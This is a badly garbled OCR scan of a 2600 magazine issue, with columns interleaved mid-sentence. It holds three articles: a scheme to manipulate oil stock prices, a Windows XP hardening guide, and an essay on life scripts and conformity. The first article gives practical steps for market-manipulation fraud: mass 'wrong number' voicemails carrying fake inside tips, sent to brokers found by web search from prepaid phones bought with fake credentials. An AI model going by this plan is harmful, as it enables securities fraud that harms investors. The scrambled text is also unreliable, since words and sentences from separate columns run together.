exp lo i t  gas pr ices and the  fou ndat ion of  the  becomes a rea l ga i n .  Other i nvestors start 
economy. see ing  th i s  and they too sta rt buy ing i t .  

A yea r or two ago I read about a group But  supposed ly  the phreakers wou l d  
o f  ph rea kers w h o  were con n i ng fo l ks .  At sel l out when the worth l ess stocks peaked 
the t ime no one cou l d  seem to catch them and take the profi ts . Rea l i nvestors wou l d  
or get any k i nd  o f  leads .  Appa rent ly the se l l and  then a l l  the saps wou ld  be left with 
scam went l i ke th is :  a t i ny  company on these crappy l i tt l e  stocks. 
the stock market that had very low stock Al l  th i s  sou nds grand but how cou ld  th i s  
pr i ces wou ld  be selected, and  they wou l d  i nformat ion b e  he lpfu l ?  Or rather, cou ld  i t  
send text messages or vo i ce ma i l s  to  many be usefu l i n  reverse? Every day I go to  the  
peop le, pretend i ng they had a p iece of gas pump I get mad .  Who doesn 't r ight 
i ns ide i nformat ion .  now? But  the pr ice of gas i s  most ly  decided 

I ns ide i nformat ion i s  i l l ega l on the stock by two th i ngs: supp ly  and demand .  Supp ly  
market. Keep th i s  i n  m ind because the i s  noth i ng we can rea l l y  contro l .  ( U n l ess 
v ict i ms in t h i s  scam do not want to report you work for OPEC. )  However, demand i s  
themselves b reak i ng  the l aw !  Noti ce, I sa id  generated by two th i ngs: consumpt ion and 
texts and  vo ice ma i l s, not real  phone calls .  stocks !  
Th i s  i s  i m portant because most  peop le  So ,  i f  you red id  the scenar io, on l y  you 
wou ld  not j ust pass out i ns ide i nformat ion to l d  peop le  to sel l ,  th i s  wou l d  be equ a l l y  
on a hot stock t i p  t o  j ust anybody. Th i s  econom ica l l y  m a n i p u l at ive. I t  wou l d  a l so 
wou l d  a l l ow the ph reakers' messages to be more p l aus ib l e  to j ust target one o i l  
come across as wrong numbers, b u t  sti l l  get g i ant, say Exxon-Mob i l  for examp le .  If one 
the po in t  across. company's stock sta rted a d rast ic d rop, it 

Most of the t i me, reports said that vo ice cou l d  cause a pan i c  on the whol e o i l  market. 
m a i l  was l eft by an attractive sou nd ing  Not to  ment ion i t  sou nds more be l i evab l e  
woman 's vo ice.  ( Probab ly  to  keep men that one wou l d  have i n s ide i nformat ion on 
l i sten i ng . )  They wou l d  usua l ly be in  a pan ic  one company, not  a n  ent i re i ndustry. Even i f  
ta l k i ng  h u rr ied l y  and  snea k i l y, say i ng  that  you on ly dent that one company, the others 
they j ust found  out some news around "the w i l l  fo l l ow the pr ice they charge to not be 
fi rm" about XYZ stock and that someone outso ld  by a compet i tor. 
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Now that we have a method and  a ta rget 
we need to fi nd a mea ns of i nject ion . Th i s  
part wou l d  work d i fferent ly because we  are 
now sel l i ng, not buy i ng.  Anyone can buy 
stuff, but to se l l we need to fi nd peop le  
who  own these stocks .  I suppose a n  e l i te 
hacker cou ld  brea k i nto a database fu l l  of 
share ho lders contact numbers, but that i s  
beyond t he  scope o f  th i s  a rt i c le .  Here we 
are goi ng to use our  good fr iend Goog le !  A 
s imp le  search of "Stockbroker + MyTown "  
wi l l  probab ly  render many  resu l ts, so 
it w i l l  for any other town you type i n .  
Stockbrokers a re never supposed to spread 
i ns ide i nformat ion .  (And cops a re never 
supposed to break the l aw . . .  ) I t  happens 
i t 's the i r  job to suggest to people what to 
buy, what not to buy, and someti mes what 
to sel l .  Reach i ng them wi l l  help reach  the 
peop le  who keep them in a job by buy ing  
and sel l i ng stock. Any respectab le  broker 
these days wi l l  have a website with a phone 
number on i t .  Not to ment ion, many of 
these guys have watched the oi l  compan ies '  
sha res skyrocket the l ast few yea rs and own 
some themse lves !  

Now, there are a mu lt i tude of ways 
we cou l d  send these aggress ive texts and  
vo icema i l s  - by  ph reak i ng, B l uetooth 
hack i ng, Vo l P, etc . These a re a l l  great 
i deas, but aga i n  they fa l l  outs ide the scope 
of a mere soc i a l  engi neer ing a rt i c le .  For 
now, let ' s  reprod uce th i s  experi ment very 
low-tech .  Most of us  have seen the prepa id  

cel l phones i n  stores. Fake credent i a l s  a re 
usua l l y easy to come by, if the carr ier  even 
checks them at a l l .  Or  a good eBay phone 
with a p repa id  GSM S IM card w i l l  work fi ne 
too. 

It may take thousands of ca l l s  to make 
a rea l dent i n  a stock's pr ice .  After a l l , i f  
you ca l l  2 000 brokers, no t  everyone wi l l  
have that stock .  I f  they do, they may not 
th i n k  that the wrong number they got was 
from someone who rea l l y  knew what they 
were ta l k i ng about.  They may a l so have a 
l egal  or mora l i ssue with acti ng on i ns ide 
i nformat ion, but that won't stop them from 
watch i ng !  

Here's t he  catch :  Once  the  stock has  
sta rted to  s l i de, i t  i s  no longer i ns ide 
i nformat ion, i t's j ust a bo ld  fact . You 're 
no longer act i ng  on i l l ega l advice, you ' re 
act ing on the actua l  f low of the market. 
Peop le  who had eth ica l  quest ions before 
w i l l  no longer have an issue and  w i l l  sel l .  
The people who d idn 't be l i eve you before 
wi l l  see i t  sta rt s l i pp ing  or s l i d i ng and sel l .  
F i na l l y, the other i nvestors who you never 
even contacted wi l l  see th i s  and i f  you 've 
made a b ig  enough dent, they wi l l  sel l 
too ! Th i s  cou ld  cause a pa n i c  and perhaps 
prompt a sel l -off in oi l  stocks you did not 
s l ander as wel l .  VVhen ma rket sha res 
p l um met, so does demand and pr ice.  

Th i s  wou l d  be one way to lower the 
pr ice of gas . . .  I f  i t  were lega l .  

booksellers worldwide including 
http:// amazoncom/2600 
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by Diese lDragon 

OxOO. Introduction: 
Fo l lowi ng a long period of p l ay i ng  

a round w i th  the  va r ious secur i ty too l s  and  
featu res i n  Windows, I thought tha t  I 'd share 
some of my fi nd i ngs. Hopefu l l y, th i s  m ight 
help those of us " locked i n "  to us i ng the 
Windows fam i ly in protect i ng  our  mach i nes 
a l i tt l e  bit better than they a re normal l y. The 
th i ngs deta i l ed here have been tested and 
app l ied on a mach i ne ru n n i ng Wi ndows XP 
Pro SP2,  but shou ld  hopefu l l y be supported 
i n  a l l  vers ions of Windows 2000, XP and 
Vi sta . 

OxOl . Who this guide is for: 
Most a rt i c l es in 2600 seem, to my eye, 

to be wr i tten ma i n l y  for those l ucky enough 
to be able to understa nd and use L i n u x  
without exper ienc i ng ser ious imp los ion 
of the bra i n .  Sad l y, some of us a re c l ass ic  
v ict i ms of vendor lock- i n  a nd, t ry as we 
m ight, fi nd that  the on ly k ind of OS we 
can effic ient ly  use is one of the Mic rosoft 
Windows fam i l y  of operat i ng systems. Th i s  
a rt i c l e  i s  p r imar i l y  a i med at genera l users 
of Windows, and concentrates ma i n l y  on 
app ly ing  secu re pract ices in Windows X P. 
The methods and pract i ces used here shou ld  
a l so be  adaptab le  for u se  i n  Windows Vi sta 
and  other operat i ng  systems .  

Th i s  a rt i c l e  has been wr i tten so that i t  
can be used eas i l y  by  those without much 
computer know-how (such as the less 
computer-savvy fr iends of regu l a r  readers) 
and as  a resu l t  a lot of the word i ng  may 
appear very s imp le  and newbie-fr iend l y  to 
more exper ienced readers. P lease accept 
my apolog ies in advance if  th i s  a rt i c le  i s  too 
s imp l is t ic or verbose . 
I f  Y o u  ( " Expe r i  e n c e d  u s e r " ) = True Then 

G a t a  O x 0 7  
E n d  I f  

Mak in g Y o u r  
W in d ow s  B o x 

A L i t t l e  Mo r e  
S e c u r e 

has been based on NT techno logy from 
Windows 2000 onwards. One of the major 
benefits of th is change has  been a sw itch­
over from us ing  the FAT fi l esystem - which  
had been i n  use  s i nce 1 980, and had no 
support for user accou nts and  fi l e  secu r i ty ­
to the NTFS fi l esystem, wh ich  supports user 
accou nts and  a l l ows for u ser-spec if ic  access 
contro l to i nd iv idua l fi les and  fo lders. 

In short, t h i s  means that any user 
on a Windows 98/M E mac h i ne can 
i nsta l l  p rograms and  make changes to 
the operat i ng  system without need i ng 
adm i n i strative pr iv i l eges, whereas users on 
Windows 2 000/X PNista computers who 
don't have the adm i n i strator pr iv i l eges, 
can not genera l l y  make any changes except 
c reat i ng  a nd chang ing fi les i ns ide thei r own 
docu ment fo lders. In add i t ion ,  the same 
secur i ty measu res a l so mea n that User A 
can not read or cha nge User B 's fi l es u n less 
User A has adm i n i strative pr iv i l eges, or User 
B has spec i fica l l y a l l owed User A access to 
those fi les .  

Ox03. A hypothetical case-study: 
Let's ta ke the Doe fam i l y :  john and 

jane  Doe, and the i r  th ree ch i l d ren :  C l a i re, 
Mark, and  Dav id .  They bought the i r  home 
PC from a major computer store about two 
years ago. I t  came with Windows XP Home 
Ed i t ion .  john uses the computer for ed i t i ng  
sens i t ive work documents that  i nc l ude 
pr ivate fi nanc i a l  and c l ient data . jane runs  a 
bus i ness from home and  uses the computer  
to keep t rack of  bus i ness fi nances, word 
process i ng, c l ient management, and on l i ne 
bank i ng .  The ch i l d ren m a i n l y  use the 
computer for su rfi ng the I nternet and u s i ng 
var ious i n stant messag ing appl i cat ions, 
a l though C l a i re a l so manages an  ever 
i nc reas i ng mus ic  l i bra ry u s i ng  iTu nes, Mark 
c reates and  ed its mus ic us ing severa l stud io  
packages, and Dav id  p l ays j ust about a ny 

Ox02. Security in Windows - ha l f  i nterest i ng  game that can be free l y  
A brief intro: down loaded from the I nternet. 

With the except ion of Windows CE  When they set up  the i r  computer, the 
and ME� the Wi ndows operat i ng  system Doe fa m i ly s imp ly  p l ugged it i n  and turned 
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it on,  g iv ing no thought to computer and 
user  management. They created user 
accou nts for everyone us ing the Wi ndows 
defau l t  sett i ngs - u nwitt i ng ly g iv ing a l l  
five users fu l l  adm i n i strative pr iv i l eges, and 
a l lowing  anyone logged i n  to  the mach i ne 
to i nsta l l  programs and change any aspect 
of the operat i ng  system.  

At  th i s  stage, everyone has become 
extremely annoyed with the computer. 
Over t ime it has grad u a l l y  s lowed down and 
become i nc reas i ng ly  u n re l i ab le .  The i r  ant i ­
v i rus p rograms (of  wh i ch they have severa l )  
conti n u a l l y  wa rn of v i ru ses a n d  ma lware 
that keep appear i ng  over and over, and 
noth i ng they t ry  seems to get r id of  them.  
They can't seem to figu re out how a l l  of 
th i s  ma lware keeps mak ing  i ts way th rough 
the fi rewa l l  and i n sta l l i ng  i tse l f  onto the 
computer. In addi t ion ,  u nusua l  transact ions 
from fore ign cou ntr ies have recent ly sta rted 
appear ing  on Jane's bus i ness account  with 
an  ever i ncreas ing  frequency. 

Ox04. Spotting the security flaws: 
Anyone with an eye for computer 

secur i ty wi l l  i m med iate ly  spot severa l major 
m i stakes in the way that the system has been 
set up  and managed . G iv ing  a l l  u sers of 
the computer adm i n i strative pr iv i l eges is a 
major error i n  any c i rcumstance. Espec i a l l y  
so, when some o f  those users a re ch i l d ren .  
As any parent w i l l  read i l y  testi fy, ch i l d ren 
love p lay i ng computer games. The fi rst th i ng 
he or she w i l l  do upon com i ng home is to 
down load and i nsta l l  the game so that they 
can p l ay i t  with the i r  fr iends and compete 
for the h ighest score. Very rare ly  w i l l  a ch i l d  
th i n k  to r u n  a v i rus/ma lware scan over the 
game before i nsta l l i ng i t .  They may even 
th i n k  that i t's safe j u st because i t  came 
from a webs ite. I f  the game comes with 
ma lware attached, as so many "free" games 

appl icat ion, i s  known to make use of some 
k i nd  of on l i ne fu nct iona l i ty. 

L i kewi se, g iv ing any regu la r l y  used 
account  adm i n i strative r i ghts is an u nwise 
practice for a computer i n  a home or 
genera l offi ce envi ron ment, as i t  wou ld  
grant any potent i a l l y  ma l i c ious  code (say, 
ActiveX contro l s  i n  a web page) fu l l  re ign of 
the system.  It takes on ly  a momentary l apse 
in secur i ty - or j ust a s i ng le  web page - for 
ma l i c ious code to arr ive and be executed on 
the computer. For  genera l computer use, the 
best p racti ce, in  my persona l  opi n ion,  i s  for 
every user of the system to have a restr i ctive 
user account  that can on l y  make changes 
to the use r ' s  own document fo l ders, and to 
have a s i ng le  adm i n i strator account  that i s  
password protected and i s  on l y  ever used 
for system ma i ntenance pu rposes and the 
i nsta l l at ion of known, trusted app l i cat ions . . .  
s im i l a r  t o  the best p ractice often app l ied 
on L i nux  mach i nes concern i ng use of the 
"root" account .  

A l though th i s  practice wou ld  not defeat 
a l l  forms of ma lware, i t  shou ld  make it 
much ha rder for a ma l i c ious appl icat ion to 
ga i n  fu l l  control of the system and access 
every fi l e  on the mach i ne. Th i s  means that 
ma lware arr iv i ng  and successfu l l y i nsta l l i ng  
itse l f  u nder a ch i l d 's account  can on ly  
access and ma n i pu l ate data i n  t he  ch i l d 's 
document fo lders, and shou ld  on ly  be ab le  
to mon itor whatever that  ch i l d  i s  doi ng, as 
opposed to mon i tor i ng  every keystroke and 
mouse c l i ck  of every user of the mach i ne.  
Remember that when an  app l icat ion i s  
run ,  i t  i s  subject to the same pr iv i l eges 
and restr ict ions as the user who sta rted i t, 
therefore an app l i cat ion ru n n i ng u nder a 
restricted user account  shou ld  not be ab le  
to make changes to the operat i ng  system, or 
access any other user ' s  fi les .  

and appl icat ions do, then i t' l l  be i nsta l l ed Ox05 . A clean, 
a long with the game and ga i n  fu l l  access more secure instal lation: 
to everyth i ng  on the system.  Remember, John Doe has had enough of the constant 
the ch i l d 's account  has adm i n  r ights .  In t h i s  v i rus and ma lware a le rts, t he  abysmal  
case, a fi rewa l l  (or even 1 ,000 fi rewa l l s) mach i ne and I nternet performance, and 
wou ld  be comp lete l y  useless in  p revent ing the conti nua l  errors. E n l i st i ng the he lp  and 
the appl icat ion from mak ing  i t  to the adv ice of a computer- l i terate fr iend (who 
computer because the i n i t i a l  con nect ion to we' l l  ca l l Bob), he decides to go for a fu l l  
the down load s i te was made by the user. format and re i nsta l l at ion of h i s  system.  
A l though a fi rewa l l m ight warn the user  that U nder Bob's superv i s ion ,  he ca refu l l y  
the appl i cat ion i s  try i ng  to commun i cate backs-up user fi les on the mach i ne, 
with the I nternet when i t's run, many users avo id i ng  u n recogn ized EXE, COM, MSI ,  
w i l l  a l l ow such com m u n i cat ions as a reflex and VBS fi l es in the ch i l d ren 's accou nts. He 
act ion,  espec i a l l y  i f  the game, or whatever unp l ugs the Ethernet cab l e  from the back 
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of the computer, and reboots the mach i ne 
w ith the Wi ndows XP  CD-ROM i n serted . 
After rebooti ng, he performs a fu l l  NTFS 
format of the hard dr ive, and Windows X P  
begi ns  i nsta l l i ng a s  norma l .  

After the usua l  success ion of reboots, 
progress bars, l anguage/network related 
prompts, sett i ng  a very strong password for 
the "Ad m i n i strator" accou nt, and on-screen 
messages of how "super ior" Windows X P  
i s ,  he comes t o  the Windows XP  fi rst- run  
screen or what  Microsoft ca l l s  an  "Out  of 
Box Experi ence." U pon arr iv i ng at the page 
where the user enters names for accounts 
that w i l l  use the mach i ne, Bob tel l s  h i m  
to stop enter i ng  account  names a s  there 
i s  a prob lem with th i s  page: A l l  accou nts 
created here wi l l  be given adm i n i strative 
r i ghts by defau lt, and it's very d i ffi cu l t, i f  
not down r ight imposs ib le, to change them 
to l i m ited accou nts l ater on. I n stead, Bob 

has a " restricted" account  that wi l l  not be 
ab le  to change anyth i ng that wou ld  affect 
the system.  Add it iona l l y, he turns off the 
" Fast user switch i ng" featu re (User Account  
contro l  pane l  > Change how users log on  
and off) to  reduce the chance of  a ma l i c ious  
app l i cat ion ru n n i ng u nder a restr i cted user 
account  managing to "j ump" over to the 
SuperUser account  i f  both a re logged in at 
the same t ime .  

F i na l l y, after rei nsta l l i ng Windows, 
activat i ng  the Wi ndows fi rewa l l ,  c reat i ng  
restri cted accou nts for a l l  users, perform i n g  
fresh i nsta l l s  o f  secur i ty software a n d  
fi rewa l l s, a n d  restor ing backed-up user data, 
he tests h i s  restr i cted accou nt by l ogg ing  on 
and try i ng  to i nsta l l  an  appl i cat ion, fi nd i ng  
i t  to  h i s  satisfact ion that t he  i nsta l l  p rogram 
qu i ts with an  "Access den ied - User has no 
adm i n i strative pr iv i l eges" error. 

advi ses creat i ng  a s i ng le  accou nt ca l l ed Ox06. Deal ing with 
"SuperUser" that can be used to create troublesome applications: 
genera l  user accou nts, and for system A year after re i nsta l l i ng  h i s  system i n  
adm i n i strat ion a t  a l ater date. th i s  way, everyone i s  sti l l  happy with how 

After even more wa i t i ng  a rou nd wh i l st wel l it's work ing .  Although the system does 
Windows gets i ts fi rst- run act together, John s low down every so often thanks to  the  
i s  fi na l ly l ogged i n  as "SuperUser" and gets l a rge n u mber of system serv ices i nsta l l ed 
a defa u l t Windows desktop. Before do i ng (secu r i ty software, iTu nes, and severa l 
anyth i ng e l se, Bob shows h i m  how to turn cel l phone appl icat ion su i tes), the n u mber 
on the Windows fi rewa l l  (My Computer of ma lware and v i rus  a l erts has rema i ned 
> Network Con nect ions > R ight-c l ick the very l ow - such a lerts often be i ng  traced 
I nternet con nect ion > Select "P ropert ies" > to game i nsta l l  packages down loaded by 
C l ick the "Advanced" tab > Check the box the ch i l dren, that wou l d  be checked and  
and c l i ck  "App ly" )  and he sets i t  up  w i t h  the veri fied by John fi rst before i nsta l l at ion v i a  
"Don't a l low except ions" ru le .  J ohn  then the SuperUser account  i f  that appl icat ion 
recon nects h i s  Ethernet cab le, activates was cons idered safe .  
Windows over the I nternet, and  updates h i s  However, there i s  one prob lem:  Dav id, 
mach i ne  us i ng  Wi ndows U pdate. Now h i s  hav i ng  recent ly deve loped a serious  
mach i ne  has been fu l ly updated with the add ic t ion  to  Wor ld  of  Warcraft (WoW) i s  
l atest secur i ty patches, and t he  most up-to- request i ng that h i s  u ser account be made 
date sett i ngs for defau l t  u sers have been i nto an  Adm i n i strator's accou nt. The reason 
app l ied .  i s  because WoW i s  frequent ly updated 

After updat ing Wi ndows with the l atest with new patches and software updates, 
secur i ty patches and mak ing  a "c lean  start" and a l though Dav id  can p l ay the game fi ne 
system restore po int  (Start > Programs > with a restricted account, updates need to 
Accessor ies > System Tool s > System Restore) be i nsta l l ed as the "SuperUser" . I t  norm a l l y  
he proceeds t o  t h e  " U ser Accounts" control runs u nder Dav id 's accou nt, and th us  on l y  
pane l  to  c reate l ogons  for h i m se l f, h i s  ha s  read perm iss ions for t he  WoW program 
wife, and  k ids .  Before do i ng anyth i ng e l se fo l der, and John can 't a lways be there to 
though,  he sets a su i tab ly  strong password update the game as soon as a new patch 
for the "SuperUser" account  so that on ly  i s  re leased . Not i ng  tha t  t he  major ity of 
author i zed users ( h i mself  and Bob i n  t h i s  ma lware and v i rus  a l erts on the  system are 
case) can perform system-wide changes traced to fi l es stored in Dav id 's account, 
and app l i cat ion i nsta l l at ions .  After th i s, he  John i s  r igh t ly  aga i nst the i dea of  g iv ing  
c reates new accou nts for everyone and Dav id 's account  adm i n i strative r ights .  He 
ensures tha t  everyone, h i mse lf  i nc l uded, consu l ts Bob for adv ice on how to work 
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around the prob lem without p l ac i ng  the 
system at r i sk .  

Bob knows that  every fi l e  and  fo l der on 
an  NTFS dr ive has an  Access Contro l  L i st 
(or ACL) attached to it that contro l s  wh ich 
users can access, c reate, or change that  fi l e .  
Not ing  that  Dav id  i s  the on ly  fam i ly member 
who uses WoW, he l ogs in as "SuperUser", 
opens the command prompt (Start > Run > 
type "

corrunand .  com
" and h i t [ Enter] ) ,  changes 

to the "P rogram F i l es" fo l der by typ i ng 
"CD \ pro gra� l

" [ Enter] (wh ich i s  a DOS 
short-path and shou ld  be va l i d  on Wi n X P  
a n d  Vista PCs), a n d  checks t h e  ACL for the 
Wor ld  of Warc raft fo lder by typ i ng "

cac l s  

Wor l do � l
" [ En terj . Th i s  shows a l i st of wh ich 

users have access to the WoW fo lder; A l l  
users c a n  read it, but o n l y  adm i n i strators can 
make changes. Typ i ng "cac l s  /?" w i l l  d i sp l ay 
a br ief gu ide to us i ng  the command .  

The next  step i s  best done on ly  by 
exper ienced computer users: Bob dec ides 
to g ive Dav id  fu l l  access r ights to the Wor ld  
of  Warcraft fo l der, and uses the  command 

"P ropert ies" > C l i ck the "Advanced" button 
u nder the "Shortcut" tab > Select "Run  As" 
or "Run  with d i fferent credent i a l s" )  i nstead 
of the cu rrent user's accou nt.  An add i t iona l  
benefit to th i s  approach ,  ass u m i ng that 
the "P rotect my fi l es, fo l ders and  sett i ngs" 
option i s  checked, i s  that anyth i ng  ru n n i ng 
u nder that accou nt, i n c l ud i ng ma lware, w i l l  
be den ied access to user fi l es o r  fo l ders by 
Windows . However th i s  techn ique  wou l d  
i n h ib i t  leg i t imate read/wr i te operat ions to 
user fi l es if it was appl ied to a p rogram that 
uses them, such as Microsoft Word. 

Fo l lowing  Bob's s imp le  mod i ficat ion 
to the WoW fo l der ACL, Dav id  has been 
ab le  to p l ay and update Wor ld  of Warcraft 
h i mself, without need i ng John or Bob to 
log in u nder the "SuperU ser" accou nt .Th i s  
has saved Dav id  a lot of  i nconven ience and 
wa i t i ng  a round ,  and  Joh n no l onger has  
to  dea l with conti nua l  requests and SMS 
messages ask ing h i m  to come home and  
update WoW as soon as he can ! 

"
cacl s Wor l do � l IT I E  IC IG David:F". Ox07. Windows security and 

Th i s  g ives Dav id  fu l l  read/wr i te/mod ify/ best-practice summary: 
execute r ights to the WoW program For those who have lost a l l  t rack of what 
fo l der and every fi l e  and fo lder below it. I am say ing  thanks to the sheer vo l u me of 
After ver i fy i ng  the output, Bob logs out of text above, here is a br ief "bu l l et-po i nt" 
"SuperUser" and asks Dav id  to log in and summary of  the a rt ic le :  
t ry ru n n i ng WoW to see i f  the changes to • Windows 2 000, X P  and Vi sta a l l  use 
the ACL were successfu l .  Dav id  tr ies some the more secu re NTFS fi l esystem by 
fu nct ions that wou l d  resu l t  in data bei ng defau lt, and th i s  makes i t  eas ier  to 
changed on the hard dr ive (perform i ng a control wh ich  users can do what. I f  
WoW update, tak i ng  i n-game screenshots, you 're sti l l  u s i ng  Windows 98 or  ME (or 
and sett i ng  up character macros a re th ree horror of horrors, Wi ndows 95 ! )  with 
such tests that can be performed), and a FAT fi l esystem, cons ider u pgrad ing  
fi nds that now the i n -game screenshots and you r  operat i ng  system as q u i ck ly  as 
character macros have been saved to the poss ib le .  Th i s  a l so app l ies to Wi ndows 
WoW program fol ders successfu l l y. 2 000/X P computers upgraded from 

As a p recaut ion,  Bob a l so adds a shortcut Windows 95/98/M E that a re st i l l  u s i ng  
to  Dav id ' s  startu p fo l der (Sta rt > Programs > a FAT fi l esystem on the ha rd dr ive 
Startup) that fi res up the ant iv i rus  p rogram i n stead of  NTFS.  
and  performs a fu l l  scan on the WoW fo l der • F i rewa l l s  may prevent ma lwa re from 
to make su re that no ma lware i nfections  sen d i ng data (key logg ing  i nfo, etc . )  
i n  the WoW fo lder  go u ndetected, before to externa l  servers, but they won't 
WoW itse l f  i s  ru n .  stop v i ruses or ma lwa re from arr iv i ng 

Another approach to so lv i ng  th i s  on a mach ine  i f  a use r  u n knowing ly  
p roblem, usefu l i f  a n  app l i cat ion i s  down loads them i n  the fi rst p l ace. 
accessed by mu l t i p le  users, i s  to c reate a Most fi rewa l l s  a l l ow known web 
new restr icted user account  spec if ica l l y  browsers ( I E  a n d  F i refox, t o  name b u t  a 
for that program, g ive the accou nt read/ few) to a lways connect to the I nternet, 
wr i te or fu l l  access to the re l evant fo l der effective ly  th rowing  open the door for 
u s i ng  CACLS, and change the app l icat ion ma l ic ious  data to come through i f  the 
shortcuts to make su re that the program user opens the con nect ion in the fi rst 
is run  u nder the app l i cat ion-spec if ic p l ace. 
account  (R ight-c l i ck  the  shortcut > Se lect • Viruses and ma lware can onlY run  with 
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the same pr iv i l eges as the cu rrent user, 
at l east u nt i l they a re run  u nder an 
account  with adm i n  r i ghts. Therefore, 
i f  the cu rrent user account is a 
restr i cted one, any ma lware programs 
ru n n i ng u nder i t  wi l l  on l y  be able to 
cha nge data u nder the user's own data 
fo l ders and "shared documents", and  
wi l l  have a great degree of  d ifficu l ty 
i n sta l l i ng  themse lves as a system-wide 
app l i cat ion or serv ice .  

• When us ing Wi ndows 2 000, X P  or 
Vista, the best pract ice i s  to make a l l  
user accou nts ( i .e .  the one that you use 
to l og on to Windows) restr i cted ones, 
and  on l y  use accou nts with adm i n  
pr iv i l eges for system mai ntenance.  
Th i s  i s  esper i a l l y  i m portant where 
accou nts used by ch i l d ren or teenagers 
a re concerned . On the same token, 
one shou ld  a lways be very ca refu l 
when logg ing onto an  account  wi th 
adm i n i strat ive r ights, and  make su re 
that you don't run  anyth i ng that i s  
potent ia l l y unsafe. Do a co l d  boot 
( shutdown, wa i t  a m i n ute, then power 
up aga i n )  i f  you cons ider it necessa ry. 

• Windows 2000 and X P  users bewa re 
that accou nts created us i ng  the i n i t i a l  
Wi ndows welcome and setup screens 
a re given adm i n i strative pr iv i l eges by 
defa u l t, and i t's very hard to change 
them to restr i cted accou nts l ater 
on .  J u st c reate a s i ng le  "SuperU ser" 
account (use whatever name you wish )  
to get past  the setup screens, and create 
restr i cted accou nts l ater on .  Th i s  m ight 
not apply to Vi sta users, but  you shou ld  
doub le-check th i s  by  l ook i ng  carefu l l y  
a t  the user account ' s  control pane l  a l l  
the Same. 

• I f  a progra m needs to u pdate itse l f  on 

a regu l a r  bas is  by wr i t ing updated fi les 
to i ts own fo lders, cons ider mod ify i ng  
the  fi l e/fo lder ACL us i ng  the  CACLS 
command, i n stead of automatica l l y 
g iv ing the user of that program 
adm i n i strat ive r ights to the who le  
system.  

• I f  severa l users a l l  make use of  a 
regu la r l y  updated program, cons ider 
creati ng a restri cted user account  
espec i a l l y  for that  p rogram and 
configu re access r ights and  restr ict ions 
for that accou nt, ensur ing  that the 
account  i tse l f  can on l y  change the 
program and d i rectl y assoc i ated fi l es 
that it has been created for. Remember 
to set the program to on l y  run u nder 
that spec i a l  accou nt, i nstead of hav ing  
i t  run as the  cu rrent user. 

OxFF. The final word: 
I hope that th i s  tutor i a l  has he l ped you 

a l l  learn a l i tt l e  about how the secur i ty setup 
works on Windows NT-based p l atforms, 
and some best practices for ensur ing  that 
you r Wi ndows boxes a re set up  to i n h ib i t  
or reduce the  damage done  from u nwanted 
system-wide cha nges and  ma lware 
i nsta l l at ions .  If you need ass istance with 
do i ng anyth i ng ment ioned i n  th i s  a rt ic l e, 
there a re many free support forums out 
there for Windows users where you shou l d  
b e  a b l e  t o  get h e l p  m u c h  qu icker and  more 
easi l y  than I cou l d  ever manage ! 

Shouts to whoever came up with the User/ 
Croup/Other permission system in Linux from 

which the initial principles in this article are 
derived and a family from Cuilciford who were 

the inspiration for the case-study above, and 
indeed the article itself. 

- - - Hack Thyself - - -
by Kartikeya Putra 

alienbaby@freaknetwork.in 
http://www.hopistar.org 

entities. Literally, each of us may be our 
programs, nothing more, nothing less. " 
- J o h n  C. L i l l y, Programming and Meta­
programming in the Human Biocomputer 

"All human beings, a ll persons who I n  the ea r l y  1 9 70s, d u r i n g  the ear l y  days 
reach a dulthood in the world today are of Art i fi c i a l  I nte l l i gence resea rch,  sc ient ists 
programmed biocompulers. None of us can from the fi e l d s  o f  psych o l ogy a n d  computer 
escape our o wn nature as programmable science came together to try to i m p rove the i r  
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u nderstand ing  of how the m i nd works. The i r  commerc i a l s  on TV r ight now, th i s  b l and  
efforts eventu a l l y  resu l ted i n  the  d i sc i p l i ne dude - who looks to me l i ke he knows he i 
now known as Cogn it ive Science.  One of i s  about to become a comp lete too l - ho lds  
the more s ign if icant books to come out  up  a McDona l d ' s  ch icken sandwich and 
of  th i s  ea r ly  col l aborative effort was  t i t led proc l a i ms, " Let ' s  hear it for nonconform ity ! "  

Scripts, Plans, Goals, a n d  Understanding by Are you fuck ing  k idd ing  me? I t ' s  so phony 

Roger Schan k  and  Robert Abe lson,  wh ich is  i t ' s  a l most avant garde.  Andy Warhol  wou ld  

sti l l  used by  psychologists today to  support love it - I fi nd it d i sturb ing .  I know that 

what ' s  ca l l ed the I nformation Process i ng there must be a l ot of peop le  out there who 

Mode l of human  cogn i t ion . In it, the authors don ' t  see anyth i ng  wrong with th i s  ad - and 

suggested tha t  h u man  th i n k ing  i s  based on a others who even buy i nto it, who th i n k  that 

set of scr i pts (programs) peop le  use to meet eat i ng  a ch i cken sandwich for b reakfast 
rea l l y  is " revo l ut ionary. " persona l  goa l s  i n  d i fferent s i tuat ions .  The 

When we were teenagers, some of 
examp le  they use th roughout the book i s  a 

us correct ly perceived the system as 
" restau rant  scr i pt" that te l l s  peop le how to hypocr i t ica l and sa id,  "screw th i s, I ' m  out of 
behave when eat ing  out i n  pub l ic ,  in order here . "  As an  adu l t  with a l i tt l e  perspect ive 
to meet the goa l of gett i ng  fed . What wou ld  now I can  see that there ' s  noth ing  wrong 
you do if you ordered a hamburger and the with want i ng to do you r  own th i ng, but 
wa it ress b rought you a hot dog? You r  scr i pts rebe l l ion aga i nst the system is sti l l  a pa rt 
tel l you how to hand le  th i s  s i tuat ion,  what to of i t .  Maybe we found a peer group who 
do when the b i l l  comes, and how to hand le  c l a i med to  represent "the res i sta nce, " the  
the  mu lt i tude of  common transact ions  that ant i -system - but it 's a tr ick. The ant i - system 
take p l ace in the resta u rant  envi ronment. i s  sti l l  part of the system.  By jo i n i ng  i t  you 

Scripts People Live by C la ude Ste i ner i s  th i n k  you a re becom i ng free, bu t  i t ' s  j ust a 
a book about a form of popu la r  psycho logy tr ick .  As an  "outs ider, "  if  you brea k l aws or 
ca l l ed Transact iona l Ana lys i s .  Here the do th i ngs that h u rt you rse l f  or others, you ' re 
author ta l ks about how everyone has a sort j ust p l ay i ng  i nto the ro le  the system wants 
of ru n n i ng " l i fe scr i pt" wh ich i s  bas ica l l y  the you to p lay - you ' re do i ng exact ly  what you 
story of you r  own l i fe as you l i ke to te l l  i t .  a re supposed to do as an "outs i der. "  The 
I ns ide th i s  scr ipt there a re recu rr ing  ro les an t i -system system is there because they 
that a re often lea rned in ch i l dhood, wh ich  need "bad guys "  so  that  they can p lay the 
i nform us how people a re supposed to "good guys" i n  compar i son .  If you a re good 

behave. I doubt that anyone ever reaches and not one of them, the whole system 

adu l thood with a comp lete ly  accu rate co l l apses. That is revol ut ionary !  

